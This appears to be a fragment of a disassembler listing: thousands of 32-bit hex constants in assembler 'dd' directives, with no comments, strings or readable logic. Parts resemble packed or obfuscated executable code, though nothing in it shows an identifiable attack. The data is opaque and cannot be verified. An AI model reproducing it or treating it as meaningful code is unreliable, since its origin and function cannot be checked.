2722D4F6h dd 9201307Dh, 0BE8253F0h, 0DE46769Ah, 0E83820Fh, 71BA4218h dd 0ED11A346h, 89D51DEh, 5649DCh, 0F1AD2106h, 7484A8D7h dd 0BECD2413h, 63FA118Ch, 2FEB2964h, 0C9C2B657h, 0C82DB66Ch dd 2120BF4Fh, 0C330486Ch, 2C909FB5h, 69ABB6F2h, 0ED1D90B2h dd 7FA7CEA9h, 44E11A6Eh, 45F4CD9Eh, 5C2FF357h, 65D993E1h dd 2CE14FF2h, 0CC591E2Dh, 63B19541h, 0EBE39AACh, 0E3D7894h dd 0DA58537Fh, 678E6DEAh, 0B3772658h, 0EC0788D8h, 79DE2092h dd 0D5E5A0AEh, 0FA0BA371h, 7E307D8Eh, 0F75BE067h, 2B235A68h dd 585570AFh, 497B0434h, 24253A52h, 0FD0E5169h, 32696780h dd 375EBD1Ah, 66DCCF3h, 87A8B82Bh, 35FBD20Ah, 7CAA99A0h dd 25294BA0h, 4236D7EFh, 7E22EC49h, 47CB518Ch, 0D05DC8C3h dd 4D946261h, 85819EE2h, 9C96F20Ah, 98B3D928h, 0BE904E1Fh dd 8DBD8157h, 59DDD0F2h, 0CAC1BCCEh, 9063DE5Fh, 9CE0778Fh dd 53971696h, 3495D52Fh, 0F315345Bh, 0D9EB74B8h, 0B7D5AAA2h dd 0C3FF4AEBh, 0EB7411B9h, 9F83A7DEh, 0E209E86Fh, 26EAA1A3h dd 0E41487B9h, 3D6h, 0A68C5C00h, 4346767h, 3A52497Bh, 5E6E2925h dd 71890401h, 0AAA2DFEEh, 0C3FBB6D5h, 0E7178EBCh, 18306D98h dd 27574647h, 2773681Fh, 4890000h, 5E08924h, 4, 8704E883h dd 685C2404h, 5FA6h, 81240489h, 4ECh, 24348900h, 1A135468h dd 24048B06h, 4C481h, 0EC810000h, 4, 83242489h, 5E042404h dd 24348150h, 219D3665h, 5208468Fh, 8BAh, 81F20100h, 9D366532h dd 348B5A21h, 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h dd 582434FFh, 0E904C483h, 0FFFA5898h, 1DBBF144h, 3E1D2306h dd 0AEE61765h, 27C9B865h, 0C503061Ah, 0D9AEE0FFh, 62E134B5h dd 0FBC7553Ah, 301E5ABAh, 0EF3C51F0h, 8D8D33BFh, 61A2971h dd 1815BE66h, 11E960h, 5AC40000h, 8C75077Bh, 0DB027B37h dd 8DE341C0h, 61D86569h, 2B698D89h, 6A0614h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 180424h, 51410000h, 5484DC3h dd 85C7FA5Ch, 6141055h, 7124h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 93C35040h, 0BF0FFC19h, 3D85C7D6h dd 61401h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 5357C353h, 0FAB9B73h, 9D8BDBB7h dd 61410EDh, 11C9B5FFh, 6A0614h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 0A40182C3h, 0D995FFAAh dd 6A06140Bh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 0B571C353h, 5DC6B93Fh, 0E681669Ch dd 6A36FEh, 297195FFh, 0C08B0614h, 0B6211FEBh, 0D2C30B13h dd 9435CEA2h, 552A15F0h, 0B6DCAF45h, 0C9A0FF60h, 0DFE6FDFh dd 6D734DA5h, 0A7E9ADh, 49A30000h, 0CC4726C5h, 38F3BAF5h dd 0AFD666D1h, 0B2979FABh, 0B7E37C4Dh, 0E5720095h, 9CB5E9A9h dd 77609BB6h, 94A9B6F3h, 0D7609EB7h, 0BD897D60h, 0BD8C9EA9h dd 0ACE3729Eh, 8B204A95h, 937E9BB9h, 96B99D89h, 9E96AFF4h dd 0D6B594A1h, 0FD91A7h, 4ACC48D1h, 713C3359h, 0DB4D5200h dd 5EF357h, 9DBBEFB6h, 9500BD89h, 0EFB69F89h, 0D00097BBh dd 55C3B1B6h, 37005271h, 0D3C20DA4h, 0E0910h, 0Ah dup(0) dd 0F5CE900h, 18680000h, 0E9061A2Ch, 0FFFA5690h, 1A2D0668h dd 5686E906h, 0DB68FFFAh, 0E9061A2Dh, 0FFFA567Ch, 1A2F3B68h dd 5672E906h, 0FF68FFFAh, 0E9061A2Fh, 0FFFA5668h, 1A30C768h dd 565EE906h, 5F68FFFAh, 0E9061A31h, 0FFFA5654h, 1A321A68h dd 564AE906h, 0D868FFFAh, 0E9061A32h, 0FFFA5640h, 1A336668h dd 5636E906h, 2D68FFFAh, 0E9061A34h, 0FFFA562Ch, 1A356468h dd 5622E906h, 4A68FFFAh, 0E9061A37h, 0FFFA5618h, 1A384268h dd 560EE906h, 95B5FFFAh, 7889161Ah, 6B660105h, 4F7DEA2Eh dd 3857D054h, 163AC145h, 28ECA1A0h, 171B92BFh, 0FD017C88h dd 0E92D6062h, 41F03D8Ch, 0C255EAB8h, 65670FB1h, 92B58421h dd 666553F0h, 0C3B7132Bh, 59205B7Fh, 3A3712Ch, 0CF534A7Ch dd 292256B7h, 0DC62C28Ch, 14272B49h, 41793455h, 3E7F4FC5h dd 55E4800Fh, 0CF0B62EDh, 8BA89B21h, 20BDh, 61807B00h dd 0D747E01Bh, 2849DC6Ch, 0AA951424h, 4855E49Ch, 0C614668Dh dd 0D08BA89Ah, 100h, 216567DCh, 0F092B584h, 1D2C8953h dd 9653F093h, 567ADEB2h, 69242625h, 45441BABh, 0E31B92B3h dd 344B4367h, 1C639B12h, 0C898B3EAh, 0A99FA1B4h, 0B736E83Eh dd 793A1E91h, 6219D95Bh, 0BD9BB6F7h, 341853F0h, 0B835FFFEh dd 0E27953F0h, 399DADE0h, 6B2224FBh, 970638A7h, 9AEEFF67h dd 4962C461h, 0B79B49DCh, 46411873h, 14F5C94Bh, 6366D9Bh dd 2F6A6582h, 6497BB1Fh, 9CAFEAE5h, 0E4D92013h, 55DFA355h dd 6360FF6Ah, 4A1122Ah, 55E4D935h, 6CA6CA4Eh, 0CB810C61h dd 3E10604Fh, 0EB1695A5h, 0D3B7B341h, 0EFA2A1B8h, 108DBC2Bh dd 29D430Fh, 0FFCD3D63h, 0CCFh, 0D85C4F7Fh, 0CB4F3E4Fh dd 0B074315Ch, 9E621937h, 8B8F0201h, 67662C00h, 4C79E62Ah dd 3652CD51h, 1628B77Bh, 8BF6A367h, 0EABE1F2Ah, 0B57F9455h dd 0F1356867h, 0BCAB5476h, 4E489927h, 0EB10238Ch, 0AF9353F0h dd 51A3678Bh, 0E01B6180h, 0DC6CD747h, 6ED62849h, 24F0C57Fh dd 367787ABh, 55E49F17h, 6A621937h, 6CBBF615h, 0F5B0DE60h dd 3EA1B9D1h, 2B1653D7h, 0B97B3254h, 71BFBBD2h, 0D8BA899h dd 0ADh, 366567ABh, 0AC4A7906h, 72D6E69Fh, 0F41893B5h dd 97AF65C4h, 0DDEF53F0h, 587C3755h, 0B0394BD4h, 0D168F459h dd 0A99805CCh, 2A53F087h, 0EE1E0226h, 0EAE19776h, 0A8E5E07Fh dd 6FCF6B6Ah, 1C6049DCh, 0F3996818h, 0B5F26DD8h, 55E4BF86h dd 0FAFB391Dh, 4FCBDA80h, 0F7768589h, 0C661A5D8h, 8345CAC7h dd 1D6302A0h, 0BE19FADh, 61610000h, 4C7DEA2Eh, 3752CD51h dd 1B29B67Ah, 4039C60h, 0D2068589h, 0E4286564h, 0D3574E7Bh dd 0B97D3854h, 9D611C2Eh, 1D2C89F0h, 9655EABFh, 0F48BBB7Dh dd 3E4FD8D5h, 59DB3F4Fh, 0A0E8382h, 0EC306B9Dh, 36656726h dd 0B3454605h, 65E11994h, 6CF3B341h, 40DF235Ah, 2C334845h dd 0EE6A621Bh, 0C5C79824h, 8AC52D6h, 0C16E0FDEh, 53F09272h dd 92DA69B6h, 0F55953F0h, 4E4B4681h, 92B6DA3Eh, 6BCA3C79h dd 0FF4349DCh, 4B1D210Eh, 0BDA5C7Eh, 89E14E7Dh, 0AAB442AEh dd 262596A6h, 0F95D6D28h, 1662833Bh, 296466E5h, 3605A211h dd 4D5042AFh, 5C6FA5C9h, 6D266AD3h, 6A61E54Ah, 4241F113h dd 49102B4Fh, 1B1433Eh, 0E6296466h, 6563BC2Eh, 0CB486F6h dd 0BC00000Bh, 920D118Ch, 6FF83C71h, 7AE52964h, 52CD514Ch dd 31BA7E33h, 0E598B71Fh, 0C898621h, 38739F08h, 22596BF4h dd 0EF48B3DEh, 55EABF5Ch, 6778BCD7h, 9E063665h, 0CAC7C24Fh dd 0FD3A95A6h, 53F0924Eh, 0F0B341C5h, 0BE8D2A85h, 3553F092h dd 0D4E499AAh, 0D7C64C70h, 49DC967Bh, 0FC84888Ch, 0C36C9FEDh dd 4FC8936Bh, 64D750C3h, 0FF5FD89Bh, 0E569999Bh, 64179ED6h dd 96E741BEh, 0BE81209Ch, 5C5FD85Eh, 0D2185AB1h, 0EC91BD58h dd 55h, 0A2DFEA71h, 6180EE50h, 2875E01Bh, 53F09219h, 639B1631h dd 65AF93E7h, 2C63DD5Ah, 9FE849DCh, 75033B72h, 0A4A8F083h dd 35597DBBh, 0FF38AB06h, 55E47E4Ch, 1AB143C7h, 2E6FB3EEh dd 55E47E1Dh, 7B900B3Dh, 9FAFE6E4h, 0AE39F93Bh, 0C5D7E7A2h dd 0A2Bh, 1B618053h, 376A99E0h, 36718307h, 0DA4847E9h dd 3E7FEC49h, 55EAB803h, 6398BC80h, 6FB3EA1Ch, 0ACDFCEF0h dd 0B845F431h, 81DE55EAh, 95F10984h, 9003A371h, 68252625h dd 46F5F450h, 7655EAB8h, 0E5695D58h, 276972Fh, 6237AC09h dd 0D4B84FC0h, 0F7A6D8A7h, 1B92B433h, 1E6A7BE3h, 0DFEB72EDh dd 862794A4h, 5FC4C64Bh, 0D22044C8h, 0E8173BE3h, 0CF503445h dd 5CE4EE21h, 0AC5D6FDFh, 5C000009h, 32AD712Ch, 0F989C11h dd 1A858904h, 0F26DB1ECh, 0D15ADED3h, 453857FFh, 6C2926C1h dd 98133FA8h, 82F90B94h, 0FA8137Eh, 55EABD3Ch, 0B9981CB7h dd 53F09286h, 0E35EDF4Ah, 0CB53F092h, 8A8EC2B9h, 1B336E9Dh dd 0A04175BFh, 6906A7D4h, 0EA49DA48h, 0FA165566h, 90B8FBFh dd 813543BEh, 8BB2A32h, 0F48A8E60h, 707ED119h, 0A0DBEDA2h dd 4CFF38ABh, 0C755EAD3h, 8A01B143h, 0F4B541FAh, 0D022E079h dd 7992093Bh, 5892A10Eh, 2D1155EAh, 0F954C7E7h, 0EA588DBCh dd 0F0020655h, 0A2A42DBCh, 0E474CF19h, 8DB1B6E8h, 79D55269h dd 0B54FC609h, 316EDD5Ah, 61E55FDEh, 2CF35793h, 62FECE88h dd 0E8F2C038h, 98000008h, 76F13568h, 4BD45855h, 26C14540h dd 3EA96D28h, 0D8E920Fh, 316C9B2Bh, 585572EDh, 443F4BD4h dd 762527C0h, 3B64C7B2h, 55EABD08h, 6744488Bh, 4F053665h dd 0B90B313Ah, 9212E0B9h, 0AB1C5321h, 0E6424D29h, 0AB7D0D24h dd 0C84A3293h, 82BAF113h, 94E60DE2h, 8594E346h, 44E50h dd 61805C00h, 9FAFDEE0h, 0A4E1EC3Bh, 0FF0C3094h, 3E319569h dd 11E3BB9h, 1B7F8F02h, 8C01AE19h, 0E749DA5Ch, 4346998h dd 106F9C80h, 0EC7BBFEEh, 0AABA3DAh, 55EAAC33h, 546715F4h dd 2A6762F9h, 413C4D12h, 74E6D75Dh, 0BA4FC6A8h, 0DFEFA6A3h dd 0E09DAC7Bh, 7A89D612h, 0B0D4D1FCh, 17183C98h, 62FF2F7Dh dd 2091A31Bh, 0A0000008h, 0BE29EDA0h, 930C108Dh, 6EF93D78h dd 46E12560h, 45C64A47h, 0E9A4A313h, 108DBA25h, 3C77930Ch dd 2E5D6FF8h, 0F33C8FEAh, 55EAA240h, 670CB0C3h, 0B22EC465h dd 0AACF731Dh, 0D7E97686h, 3BD494A4h, 1C5886D4h, 0A7A68595h dd 4122F0ABh, 393h, 9286B96Fh, 0A04153F0h, 0AF06A7D4h dd 0A449DA48h, 2138ABA0h, 0F5516924h, 2F5E603Fh, 3504A11Ch dd 4E55EAB8h, 6D9D1031h, 8B4FC5E9h, 9BB3EA1Ch, 85B6C223h dd 0C6BC3618h, 54DBBF4Fh, 62FF43C4h, 887E4CBCh, 38000007h dd 16919508h, 0EB74B8F5h, 0C661A5E0h, 0DE49CDC8h, 0AD2EF2AFh dd 910C3B8Bh, 0B8F5128Dh, 0A4DFEB74h, 0D6C5C760h, 5BC42752h dd 55EAA3E8h, 67E4286Bh, 79063665h, 51275447h, 0FC2FA71Ah dd 4D79BB99h, 2F2B422Dh, 85954C01h, 2FE9Dh, 88B91B00h dd 4753F092h, 0A2B9D2A6h, 9F28EAA7h, 0DA485C1Eh, 7F82D249h dd 0FDE26EBFh, 0BD81E133h, 3D4C138Eh, 0F0148FBBh, 0DB5B6D22h dd 5CD9F2A9h, 55EA46EDh, 3AFEE266h, 0E8E09BADh, 51199170h dd 8B46E7C4h, 855EAA1h, 0FD3E1204h, 87205B7Fh, 4FC6FE73h dd 0A0497B84h, 0F4DD44F6h, 5B7397F8h, 0CE54DBFFh, 0B262FED0h dd 6CD485Ah, 4D7D0000h, 3051CE52h, 232EB97Dh, 705A266h dd 0F01F888Ch, 0DEF279BDh, 0E0245968h, 0CF534A47h, 0B5793450h dd 0A165182Ah dd 192875F4h, 9A55EAA0h, 0F48BB779h, 4643DCD9h, 0F416C54Fh dd 3E4E4342h, 0F986B6DAh, 34A7D4C7h, 0F09258EBh, 0BD77DB53h dd 964D701h, 0F0929DACh, 0E0321653h, 0B3D5F41Bh, 529834F8h dd 6C85948Ch, 7, 2212A48h, 0B9400000h, 53F09288h, 0B9D2A647h dd 0DA48B97Ch, 0BDCEB249h, 5F023242h, 0FE2927A9h, 0ECD160CDh dd 0EE5255EAh, 26557724h, 0B3DBA9E2h, 0D2679836h, 52762D5Bh dd 82F90BC0h, 85F3128Ah, 82DD2976h, 0F2564FC6h, 0FE7CB12Dh dd 596BC362h, 60Fh, 181C8FBFh, 0B0F7E8Fh, 0F034719Ch, 0DE225977h dd 0CB4F4241h, 0A7A66C40h, 8CB926EAh, 76920D11h, 5668F73Bh dd 4BB6E327h, 0EAA05FEAh, 75BFD455h, 6366567h, 24544779h dd 1F2E45F2h, 0DE7ABEEDh, 85948D10h, 7AEh, 842A0A00h, 40000001h dd 0F0928FB9h, 0D3B94853h, 48C17FB8h, 0C64A49DAh, 1994B6B5h dd 5788A15h, 229E7EF6h, 0E7178EBCh, 5F4C8D63h, 0B129959Fh dd 96172450h, 4FC61D7Ch, 1C8E91F5h, 5462FEF3h, 581D6E4h dd 1010000h, 0EC1D8A8Eh, 0D7F26DB1h, 0BBC956DAh, 0A4A33CC0h dd 0B2A625E9h, 84880504h, 73B7EE1Bh, 59DDD8F4h, 3DC1BCCEh dd 0FD4CE950h, 7655EAA1h, 6567DBDDh, 47460536h, 8FFCC84Ah dd 5BD9D4F0h, 0F30B8284h, 205FB6C5h, 0FAB6F1Eh, 85948CE1h dd 0D665C23Dh, 0CFAC0F66h, 78868EADh, 71D5A9C8h, 7C0A3h dd 2AEC0000h, 0DBh, 928FB940h, 0B94853F0h, 0C97FB8D3h dd 549DA48h, 0B83E0DAAh, 0D1B555EAh, 28232743h, 0E5A0AEBDh dd 24AA8733h, 0E1331EEAh, 0A165182Ah, 0CD7693EAh, 3235D664h dd 0B34165B9h, 9BB3EA1Ch, 85B6C223h, 0C37EBF2Ah, 4055EAD1h dd 334736FCh, 0C44FC62Ah, 2457BF40h, 96162FFh, 4BA3Bh dd 473A4A00h, 6A2324C3h, 930E39A6h, 0BBF2108Fh, 0A4D9E877h dd 41F1DB60h, 5CCB4F42h, 35B2762Fh, 0D9A9E19h, 117C80FBh dd 0A63E0DAAh, 1EB555EAh, 0D5FD8B9Ah, 9E1346B8h, 7B8D42D0h dd 55770800h, 53E01626h, 80FB0D3Ch, 0F40AD07Ch, 7948594h dd 0 dd 262Ah, 65674000h, 0DF950636h, 72A59780h, 96D7574Ch dd 0AF11FE7Ch, 0B0D2898Bh, 2E89CDFDh, 1786B8C7h, 3FD913h dd 67570000h, 0B5842165h, 0CE53F092h, 0A516264Ah, 0DFEFAAA6h dd 23CB97Bh, 1153F093h, 15809BF2h, 0F093B988h, 0DC563A53h dd 0CB99FD0Fh, 0E3737CDAh, 80B3BA41h, 353F02Dh, 64171B3Fh dd 6BA9E4E5h, 0CD6567E1h, 0B7C8C0BBh, 0D8FCE09Bh, 0BBEAD5A3h dd 9009D07Fh, 0F0712417h, 0B7DBBF53h, 8BD2417Dh, 8D09017Ch dd 0AADE2F87h, 0AB381491h, 0CDB149DAh, 0EE9DAFBEh, 108BBD2Ah dd 0D3F48BF8h, 856458DAh, 425BC4F7h, 8D4FC145h, 0D9EB7289h dd 0B22D5EA2h, 0C5A5C675h, 3BF95D5Fh, 102B6264h, 0F7275C40h dd 0E92BCD7Ch, 0F08465DDh, 60845ADBh, 0C94D45E9h, 0E41DE846h dd 0B280F85Ch, 383h, 84880303h, 6FB3EA1Bh, 54D8D5F0h, 42C6BDCBh dd 27EBA6A5h, 302B0A4h, 0F01D8A8Eh, 0DAF671B5h, 0BACC5BDFh dd 0EF523FC3h, 0EAA7F34Eh, 0D9C37055h, 0F2366567h, 0A5A35375h dd 80B8F315h, 6CE8E004h, 0F91D98B3h, 0A274B2C2h, 394B6A57h dd 92B4CBFBh, 6899E01Bh, 315F64C7h, 2E524903h, 0E12ED8E4h dd 52497B8Ah, 0EFBC62CEh, 36DA8594h, 6F000000h, 0C580B3FCh dd 3F0353F0h, 618073F5h, 9290A30Ch, 2F1353F0h, 89B7F00Bh dd 249DC2Ch, 527E0D3Eh, 0B18AD357h, 9155E4DCh, 6FF83C6Fh dd 2102863h, 2DFh, 0E06180A8h, 718AAEDFh, 0A24B4706h, 0F5075BA4h dd 0F0082C9Fh, 0E31F9E94h, 6449DCC1h, 7597E8E0h, 0E552F606h dd 349988Eh, 5F527108h, 0C073BC2Fh, 4355E448h, 6E59DBFFh dd 0C8AFBDC1h, 0B9D2B64Fh, 0E71656ABh, 0EE2414FDh, 0FD8B5A2Ah dd 561D61CEh, 321645F5h, 3201AE19h, 1A41CDDBh, 7CC0B4E9h dd 5A69F6B6h, 41B01727h, 9FEDFC2Ah, 3CBFC36Ch, 0CCB05BE1h dd 67C03348h, 4BA1FDD4h, 7229EB6Fh, 522D5D50h, 0C9B97D30h dd 0E695B738h, 3D4E72D6h, 8D0C3EF0h, 0B7E07051h, 12209274h dd 0CB4FBB79h, 0C6A8A0B0h, 8A80531Bh, 42FD3C88h, 0A04D9545h dd 0DE0C4EA5h, 0F8A3FA5Fh, 20h, 1B618034h, 6CD747E0h, 242849DCh dd 9CAA9514h, 8D4855E4h, 9AC61466h, 0B0D08BA8h, 0DC000000h dd 6366567h, 24574A79h, 0A66C2725h, 54477906h, 72295B24h dd 9725EFAEh, 1E8953F0h, 0F097A291h, 0D75D2153h, 93970638h dd 2B6661F8h, 9D1032E9h, 6014F56Dh, 7200CA6Bh, 65E949DCh dd 7400E1A1h, 0E0DCE647h, 0C3154FCBh, 527139D3h, 1089C95Fh dd 78073458h, 57D05449h, 6EC24538h, 76630337h, 19D3406h dd 1D2D0000h, 19E62h, 0F31E898Dh, 0D7F572B6h, 0C0CF58DCh dd 0EEC249CDh, 0B0742958h, 9F631A37h, 85890400h, 71B5E81Ah dd 0C978A504h, 4A55EAA5h, 0F48B8709h, 27A3DBD2h, 920F3EEDh dd 0FAF5EB79h, 0ADB3F4C6h, 1234B367h, 805D979Bh, 5DDEE061h dd 0BFFCB5Ah, 96A6CA3Ch, 1C23FC32h, 22B1E516h, 0B2A00D3Eh dd 3349DC82h, 4FFE3F4Fh, 0AD55E46Eh, 0A8E3EF7Eh, 6C6E856Ah dd 8BA988BEh, 0C2D8h, 0FD8BD400h, 0DBBB579Eh, 0B988152Bh dd 3A53F060h, 2BE03256h, 156A6219h, 2283BBF6h, 53F0656Eh dd 0AB6F1E20h, 7B930A3Ch, 2481E203h, 53F06515h, 7586AAAEh dd 0DC806628h, 8FB1C849h, 0AA68EC1Ch, 4E36FA5Eh, 75B2C9BFh dd 4FCAEB10h, 0B4EF1D6Ch, 0F5060A7Eh, 215A5776h, 152B3053h dd 23F1D3A6h, 48450477h, 0F8B5D24Dh, 11CE44C0h, 2E78BFF2h dd 0CA6301C8h, 0A54052h, 25250000h, 839A66Ah, 0FB169195h dd 0DFED7ABEh, 0C8C760A4h, 0E6CA51D5h, 0B87C3150h, 0A76B222Fh dd 8D910C38h, 79BDF012h, 3100AD1Ch, 0B255EAAAh, 68679F01h dd 5476F135h, 0E752D34Eh, 7C53F092h, 9262D118h, 9DE153F0h dd 677FB579h, 79063665h, 0B0D05447h, 49102B51h, 0F6B1433Eh dd 0DA480CA9h, 6BB4A749h, 55EAB8D8h, 0BBD3F75Bh, 0D0EBA2A4h dd 0E047789h, 0F0ABDD4Ah, 293659D8h, 0C2ADB28Dh, 336A9CABh dd 5F4E70EFh, 7B32502Fh, 0FE15C443h, 4ACEBDCFh, 0D8F0ABDDh dd 0ACAh, 1F8C6000h, 3F4F3E40h, 67D759DBh, 7B043467h, 253A5249h dd 15E6E29h, 0EE718904h, 0D5AAA2DFh, 0BCC3FBB6h, 98E7178Eh dd 4718306Dh, 1F275746h, 81E18951h, 4C1h, 4E98300h, 31240C33h dd 0C33240Ch, 89505C24h, 405E0h, 42D0000h, 87000000h, 895C2404h dd 69682434h, 89000032h, 53BE2404h, 5538B46Fh, 3C4A5FBDh dd 5DEE016Eh, 0D6F74E4Eh, 0E483C681h, 0EE68AD0Ah, 8900001Ah dd 4832424h, 68580424h, 1236h, 8F243489h, 48B0840h, 0E0895024h dd 405h, 4C08300h, 5C240487h, 5024348Bh, 405E089h, 83000000h dd 48704C0h, 49E95C24h, 85FFFA47h, 0F9C441BBh, 0BA397A66h dd 0CB89379h, 3061A39h, 62E0FFC5h, 0B7643092h, 0CE252EA8h dd 300CFD30h, 0B2381CD3h, 4D029E7Bh, 4A2AA642h, 0A17B0D4Ah dd 62620276h, 0D3489F1Eh, 7D7296CCh, 0B340EBAFh, 0FA624B23h dd 0B3776188h, 94DD054h, 3606D17Bh, 0E4687582h, 0F81EE1FFh dd 0E81BB59Dh, 0Ch, 0DB16DB68h, 0D5E272B4h, 8D94B09Eh dd 0F98B665Bh, 65C0C381h, 8A510000h, 6859CFh, 0E9000000h dd 0Eh, 46696C2Ch, 6AC5845Eh, 0A191715Ch, 0F85E395Fh, 0F33048Bh dd 0E881FBBFh, 438DB6B5h, 0DE8h, 0E4FF8400h, 1465FD33h dd 4CDB0E16h, 8166203Ah, 59A242DFh, 0FEC6F081h, 0E8811276h dd 38C90AC1h, 0DE9h, 8E0E7300h, 8FD90B31h, 0C5398F9Ch dd 0E9507A0Dh, 9, 8739316Ch, 0A9290181h, 33048F92h, 0BF66FB8Bh dd 0EE830DEBh, 22E98004h, 9AF4FE81h, 850FFFFFh, 0FFFFFF94h dd 13E9h, 0AFF76A00h, 683ED6BEh, 42815648h, 1763400h, 40DABA50h dd 0DE9h, 7482AA00h, 58h, 0 dd 0F6E90000h, 0A0000004h, 0BE29EDA0h, 930C108Dh, 6EF93D78h dd 46E12560h, 45C64A47h, 0E9A4A313h, 108DBA25h, 3C77930Ch dd 2E5D6FF8h, 0F33C8FEAh, 55EAA840h, 670CB0C3h, 0B5842165h dd 0CE53F092h, 5615264Ah, 883853Bh, 587094F0h, 0E97636FCh dd 2863A7DAh, 93C170BDh, 0FE4253F0h, 36656734h, 0A6477906h dd 0C29171C2h, 0D9F115C1h, 0AC1F8586h, 0F08A3003h, 8ECFB353h dd 53F08AB3h, 6FDA5B30h, 0E453F08Ah, 20587C60h, 0C9648B64h dd 0EE1E93B2h, 0D1F3A86Ah, 2F2556DAh, 42D69A7Dh, 5AF10346h dd 30AF732Eh, 1E619914h, 384B4F1h, 828EBDD4h, 403B4910h dd 0F00ECA79h, 0ADE0E253h, 0CD5175D9h, 57E243BEh, 0EC53F00Eh dd 0D3F5AA68h, 3D01A0D8h, 253F00Eh, 26F4066Dh, 0B0859529h dd 33h, 3665677Ch, 929AA706h, 0F69953F0h, 8C8D539Fh, 1298594h dd 87000000h, 7376667h, 0A0AD4778h, 0B6C9C1E5h, 0A9ED1D98h dd 6798A7CEh, 5375F236h, 671ED458h, 7A053568h, 0F2245449h dd 32C4C299h, 0A9769A17h, 6CE8E09Bh, 93B2D9A6h, 86F53974h dd 0F3224CEh, 0A08BBA9h, 40783355h, 6199143Fh, 47DA31DCh dd 0D3C79D4h, 8653F012h, 1288BB82h, 0E34C53F0h, 53F01250h dd 371B6FD3h, 12A89B04h, 272B53F0h, 0AEF0DEDh, 0A0EF8595h dd 0C5000000h, 5356867h, 4FFA3B96h, 0C453F092h, 0F21DB240h dd 14C387B7h, 0C2BFCEFDh, 0D3E4D3Eh, 0BECD8290h, 0D05DC8C3h dd 53F09261h, 28949EE2h, 163148BBh, 92E7529Bh, 187C53F0h dd 4C47451Ah, 0C752293Fh, 42B223E7h, 72A9F4B0h, 0EABA607h dd 242853F0h, 0E8EA01EEh, 85952652h, 654Ch, 0FD8B6800h dd 0D7446C7h, 7724EEE4h, 0F0ADDE58h, 20587CD8h, 0CE6F335Fh dd 53F05F73h, 215C77F0h, 0B5E1193Dh, 5DE28EC6h, 8AF1A6C1h dd 8D09017Ch, 0ADC4AB69h, 0BAC96F9Eh, 0E131C835h, 799D1B3Ah dd 6703D155h, 0A6073766h, 53F092A4h, 0FD0D8886h, 122A6762h dd 0A8729976h, 6A688F60h, 85948CC4h, 1D2h, 6C67DE00h, 26C1BCCAh dd 31496D28h, 69611C2Eh, 35E80FEEh, 92EE5DDAh, 0E16553F0h dd 54517C13h, 2B51B0D0h, 62579710h, 0A4A849DCh, 0C2B9CB94h dd 0EC9FA13Eh, 0B3FC6FDCh, 55E48280h, 0CBC2C403h, 0F43357B3h dd 2BAFDFD6h, 8253ECE9h, 3B5455E4h, 1893B5D4h, 34719CE3h dd 0C6728004h, 44742759h, 47988D7h, 0CD8290F4h, 1EC8C0BBh dd 596B9AF1h, 0AC72DE22h, 0CA8BA89Ch, 140h, 0D9F48BE6h dd 5A722927h, 6458DAFEh, 5BC4F785h, 49DC90DBh, 47183014h dd 0B9D25645h, 0BEFFA5A2h, 55E49083h, 1A183C00h, 95B34345h dd 0BDC2FA1Eh, 67F8108Bh, 7A053568h, 0F2245449h, 0A9162E45h dd 6CF20C81h, 0DEB1072Bh, 0CE0AE786h, 6F9E15BCh, 67040E32h dd 0DCCFF110h, 0BA2EFC58h, 1D888BA8h, 0E4B0A190h, 0D45E2255h dd 342Bh, 65808100h, 9043EC1Fh, 53D3F092h, 0E35EDFEFh dd 0CCD3F092h, 0AF3AEC03h, 5E0DAAA1h, 9553F092h, 5C403D4Ah dd 0AA02D8h, 0A6110000h, 0F092CA79h, 4FC54953h, 9F188BC5h dd 53F092ACh, 0F6A7D827h, 0D45E42C6h, 407B01E0h, 0DC6A23E7h dd 5B70D449h, 4B0F98E8h, 0FC732FAAh, 0E4B84EFDh, 0B341C555h dd 235A6CF3h, 4F3E40DFh, 0B94EFE3Fh, 0C4B55E4h, 0E9A4A6E5h dd 0F6175625h, 0DCE87787h, 3F77BDA1h, 36A1DAAEh, 0B9EF5ADBh dd 0E06455E4h, 7223A312h, 0F85C4FCEh, 0E58DBFC0h, 7189ADE8h dd 0A9A1DCEEh, 0C2FAB7D6h, 8A90E714h, 0C75FB665h, 69D84526h dd 415FDEF4h, 0D5314944h, 42799DE1h, 47988D7h, 3F0F8F0Eh dd 0B42745F4h, 0B833D86Bh, 3DF75B41h, 77BD41C5h, 3D79FD8Bh dd 0D1AA08D2h, 0EE9A6B43h, 0DA5250DDh, 549349DAh, 0C7437B32h dd 0B2D4ABA3h, 65890400h, 890406A1h, 62C13071h, 65D2F71Dh dd 7A0130Eh, 3779E934h, 9249CB4Fh, 6EF93D70h, 5629215Ch dd 0CA4D7D38h, 0E39AA8B7h, 8234A11h, 20585371h, 8FB16EA4h dd 7D8F181Ch, 0B8DCD7F5h, 3B280h, 8C380000h, 346767A6h dd 52497B04h, 6E29253Ah, 8904015Eh, 0A2DFEE71h, 0FBB6D5AAh dd 178EBCC3h, 306D98E7h, 57464718h, 89561F27h, 4C681E6h dd 83000000h, 348704EEh, 24248B24h, 5E08950h, 4, 8704E883h dd 895C2404h, 0C068241Ch, 89000043h, 0C768240Ch, 8B061A3Ah dd 0C481241Ch, 4, 422B68h, 24248900h, 4240481h, 59000000h dd 4815352h, 0E6635C24h, 0EA815A1Ch, 1CE6635Ch, 5A085189h dd 592434FFh, 8B04C483h, 8953241Ch, 4C381E3h, 83000000h dd 1C8704C3h, 2DE95C24h, 64FFFA41h, 1427A904h, 0CE1C81E8h dd 3F36B84Fh, 0C503061Ah, 3468E0FFh, 24552FCDh, 233B72C3h dd 0CAC00547h, 186171E0h, 2B971835h, 0D9305FCh, 3A283397h dd 0DD6C4C3Fh, 0B845631Bh, 0A4E97EC5h, 0AB000001h, 2748E32Ah dd 0D31AD52Ch, 0D746B198h, 0EFB4CAD1h, 0E45B7E41h, 6D5D9752h dd 44FCA3FBh, 0A59EB992h, 95BCD792h, 93B9E4h, 0F49DB2CBh dd 0FC9CACA3h, 0D2009EB9h, 73AFC945h, 55FC00EEh, 599CBA97h dd 0B2A4E56Dh, 47FEACFFh, 0C45657F6h, 0F600CCD4h, 0F78F7DB5h dd 97539549h, 45C9BCFAh, 0A1915CCDh, 0ACE56Ch, 